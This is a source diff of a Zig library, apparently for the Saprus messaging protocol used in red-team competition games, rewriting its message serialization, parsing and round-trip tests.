-            out.writeInt(u16, self.src, .big) catch unreachable;
-            out.writeInt(u16, self.dest, .big) catch unreachable;
-            out.writeInt(u32, self.seq, .big) catch unreachable;
-            out.writeInt(u32, self.id, .big) catch unreachable;
-            out.writeByte(self.reserved) catch unreachable;
-            out.writeStruct(self.options, .big) catch unreachable;
-            out.writeAll(self.payload) catch unreachable;
-            return out.buffered();
-        }
-
-        /// If the current message is a management message, return what kind.
-        /// Else return null.
-        pub fn management(self: Connection) ParseError!?Management {
-            const b64_dec = std.base64.standard.Decoder;
-            if (self.options.management) {
-                var buf: [1]u8 = undefined;
-                _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage;
-
-                return switch (buf[0]) {
-                    'P' => .ping,
-                    'p' => .pong,
-                    else => error.UnknownSaprusType,
-                };
-            }
-            return null;
-        }
-
-        pub const Management = enum {
-            ping,
-            pong,
-        };
-    };
-
-    pub fn toBytes(self: Message, buf: []u8) []u8 {
-        return switch (self) {
-            inline .relay, .connection => |m| m.toBytes(buf),
-            else => unreachable,
-        };
-    }
-
-    pub fn parse(bytes: []const u8) ParseError!Message {
-        var in: Reader = .fixed(bytes);
-        const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) {
-            error.InvalidEnumTag => return error.UnknownSaprusType,
-            else => return error.InvalidMessage,
-        };
-        const checksum = in.takeArray(2) catch return error.InvalidMessage;
-        switch (@"type") {
-            .relay => {
-                const dest: Relay.Dest = .fromBytes(
-                    in.takeArray(relay_dest_len) catch return error.InvalidMessage,
-                );
-                const payload = in.buffered();
-                return .{
-                    .relay = .{
-                        .dest = dest,
-                        .checksum = checksum.*,
-                        .payload = payload,
-                    },
-                };
-            },
-            .connection => {
-                const src = in.takeInt(u16, .big) catch return error.InvalidMessage;
-                const dest = in.takeInt(u16, .big) catch return error.InvalidMessage;
-                const seq = in.takeInt(u32, .big) catch return error.InvalidMessage;
-                const id = in.takeInt(u32, .big) catch return error.InvalidMessage;
-                const reserved = in.takeByte() catch return error.InvalidMessage;
-                const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage;
-                const payload = in.buffered();
-                return .{
-                    .connection = .{
-                        .src = src,
-                        .dest = dest,
-                        .seq = seq,
-                        .id = id,
-                        .reserved = reserved,
-                        .options = options,
-                        .payload = payload,
-                    },
-                };
-            },
-            else => return error.NotImplementedSaprusType,
-        }
-    }
-
-    test parse {
-        _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 });
-
-        {
-            const expected: Message = .{
-                .connection = .{
-                    .src = 12416,
-                    .dest = 61680,
-                    .seq = 0,
-                    .id = 0,
-                    .reserved = 0,
-                    .options = @bitCast(@as(u8, 100)),
-                    .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 },
-                },
-            };
-            const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 });
-
-            try std.testing.expectEqualDeep(expected, actual);
-        }
-    }
-
-    test "Round trip" {
-        {
-            const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 };
-            const msg = (try parse(&expected)).connection;
-            var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result.
-            const res = msg.toBytes(&res_buf);
-            try expectEqualMessageBuffers(&expected, res);
-        }
-    }
-
-    // Skip checking the length / checksum, because that is undefined.
-    fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void {
-        try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]);
-        try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]);
-    }
-
-    pub const TypeError = error{
-        NotImplementedSaprusType,
-        UnknownSaprusType,
-    };
-    pub const ParseError = TypeError || error{
-        InvalidMessage,
-    };
+    opt8: bool = false,
 };
 
-const relay_dest_len = 4;
+pub const Error = error{
+    NotImplementedSaprusType,
+    UnknownSaprusType,
+};
+
+/// All Saprus messages
+pub const Message = union(PacketType) {
+    pub const Relay = struct {
+        pub const Header = packed struct {
+            dest: @Vector(4, u8),
+        };
+        header: Header,
+        payload: []const u8,
+    };
+    pub const Connection = struct {
+        pub const Header = packed struct {
+            src_port: u16, // random number > 1024
+            dest_port: u16, // random number > 1024
+            seq_num: u32 = 0,
+            msg_id: u32 = 0,
+            reserved: u8 = 0,
+            options: ConnectionOptions = .{},
+        };
+        header: Header,
+        payload: []const u8,
+    };
+    relay: Relay,
+    file_transfer: void, // unimplemented
+    connection: Connection,
+
+    /// Should be called for any Message that was declared using a function that you pass an allocator to.
+    pub fn deinit(self: Message, allocator: Allocator) void {
+        switch (self) {
+            .relay => |r| allocator.free(r.payload),
+            .connection => |c| allocator.free(c.payload),
+            else => unreachable,
+        }
+    }
+
+    fn toBytesAux(
+        header: anytype,
+        payload: []const u8,
+        buf: *std.ArrayList(u8),
+        allocator: Allocator,
+    ) !void {
+        const Header = @TypeOf(header);
+        // Create a growable string to store the base64 bytes in.
+        // Doing this first so I can use the length of the encoded bytes for the length field.
+        var payload_list = std.ArrayList(u8).init(allocator);
+        defer payload_list.deinit();
+        const buf_w = payload_list.writer();
+
+        // Write the payload bytes as base64 to the growable string.
+        try base64Enc.encodeWriter(buf_w, payload);
+
+        // At this point, payload_list contains the base64 encoded payload.
+
+        // Add the payload length to the output buf.
+        try buf.*.appendSlice(
+            asBytes(&nativeToBig(u16, @intCast(payload_list.items.len + @bitSizeOf(Header) / 8))),
+        );
+
+        // Add the header bytes to the output buf.
+        var header_buf: [@sizeOf(Header)]u8 = undefined;
+        var header_buf_stream = std.io.fixedBufferStream(&header_buf);
+        try header_buf_stream.writer().writeStructEndian(header, .big);
+        // Add the exact number of bits in the header without padding.
+        try buf.*.appendSlice(header_buf[0 .. @bitSizeOf(Header) / 8]);
+
+        try buf.*.appendSlice(payload_list.items);
+    }
+
+    /// Caller is responsible for freeing the returned bytes.
+    pub fn toBytes(self: Message, allocator: Allocator) ![]u8 {
+        // Create a growable list of bytes to store the output in.
+        var buf = std.ArrayList(u8).init(allocator);
+        errdefer buf.deinit();
+
+        // Start with writing the message type, which is the first 16 bits of every Saprus message.
+        try buf.appendSlice(asBytes(&nativeToBig(u16, @intFromEnum(self))));
+
+        // Write the proper header and payload for the given packet type.
+        switch (self) {
+            .relay => |r| try toBytesAux(r.header, r.payload, &buf, allocator),
+            .connection => |c| try toBytesAux(c.header, c.payload, &buf, allocator),
+            .file_transfer => return Error.NotImplementedSaprusType,
+        }
+
+        // Collect the growable list as a slice and return it.
+        return buf.toOwnedSlice();
+    }
+
+    fn fromBytesAux(
+        comptime packet: PacketType,
+        len: u16,
+        r: std.io.FixedBufferStream([]const u8).Reader,
+        allocator: Allocator,
+    ) !Message {
+        const Header = @field(@FieldType(Message, @tagName(packet)), "Header");
+
+        // Read the header for the current message type.
+        var header_bytes: [@sizeOf(Header)]u8 = undefined;
+        _ = try r.read(header_bytes[0 .. @bitSizeOf(Header) / 8]);
+        var header_stream = std.io.fixedBufferStream(&header_bytes);
+        const header = try header_stream.reader().readStructEndian(Header, .big);
+
+        // Read the base64 bytes into a list to be able to call the decoder on it.
+        const payload_buf = try allocator.alloc(u8, len - @bitSizeOf(Header) / 8);
+        defer allocator.free(payload_buf);
+        _ = try r.readAll(payload_buf);
+
+        // Create a buffer to store the payload in, and decode the base64 bytes into the payload field.
+        const payload = try allocator.alloc(u8, try base64Dec.calcSizeForSlice(payload_buf));
+        try base64Dec.decode(payload, payload_buf);
+
+        // Return the type of Message specified by the `packet` argument.
+        return @unionInit(Message, @tagName(packet), .{
+            .header = header,
+            .payload = payload,
+        });
+    }
+
+    /// Caller is responsible for calling .deinit on the returned value.
+    pub fn fromBytes(bytes: []const u8, allocator: Allocator) !Message {
+        var s = std.io.fixedBufferStream(bytes);
+        const r = s.reader();
+
+        // Read packet type
+        const packet_type = @as(PacketType, @enumFromInt(try r.readInt(u16, .big)));
+
+        // Read the length of the header + base64 encoded payload.
+        const len = try r.readInt(u16, .big);
+
+        switch (packet_type) {
+            .relay => return fromBytesAux(.relay, len, r, allocator),
+            .connection => return fromBytesAux(.connection, len, r, allocator),
+            .file_transfer => return Error.NotImplementedSaprusType,
+            else => return Error.UnknownSaprusType,
+        }
+    }
+};
 
 const std = @import("std");
 const Allocator = std.mem.Allocator;
-const Writer = std.Io.Writer;
-const Reader = std.Io.Reader;
 
-test {
-    std.testing.refAllDecls(@This());
+const asBytes = std.mem.asBytes;
+const nativeToBig = std.mem.nativeToBig;
+
+test "Round trip Relay toBytes and fromBytes" {
+    const gpa = std.testing.allocator;
+    const msg = Message{
+        .relay = .{
+            .header = .{ .dest = .{ 255, 255, 255, 255 } },
+            .payload = "Hello darkness my old friend",
+        },
+    };
+
+    const to_bytes = try msg.toBytes(gpa);
+    defer gpa.free(to_bytes);
+
+    const from_bytes = try Message.fromBytes(to_bytes, gpa);
+    defer from_bytes.deinit(gpa);
+
+    try std.testing.expectEqualDeep(msg, from_bytes);
+}
+
+test "Round trip Connection toBytes and fromBytes" {
+    const gpa = std.testing.allocator;
+    const msg = Message{
+        .connection = .{
+            .header = .{
+                .src_port = 0,
+                .dest_port = 0,
+            },
+            .payload = "Hello darkness my old friend",
+        },
+    };
+
+    const to_bytes = try msg.toBytes(gpa);
+    defer gpa.free(to_bytes);
+
+    const from_bytes = try Message.fromBytes(to_bytes, gpa);
+    defer from_bytes.deinit(gpa);
+
+    try std.testing.expectEqualDeep(msg, from_bytes);
 }

src/root.zig

@@ -1,30 +1,4 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
-
-//! The Zaprus library is useful for implementing clients that interact with the [Saprus Protocol](https://gitlab.com/c2-games/red-team/saprus).
-//!
-//! The main entrypoint into this library is the `Client` type.
-//! It can be used to send fire and forget messages, and establish persistent connections.
-//! It is up to the consumer of this library to handle non-management message payloads.
-//! The library handles management messages automatically (right now, just ping).
-
 pub const Client = @import("Client.zig");
-pub const Connection = @import("Connection.zig");
-pub const Message = @import("message.zig").Message;
+pub usingnamespace @import("message.zig");
 
-test {
-    @import("std").testing.refAllDecls(@This());
-}
+pub usingnamespace @import("c_api.zig");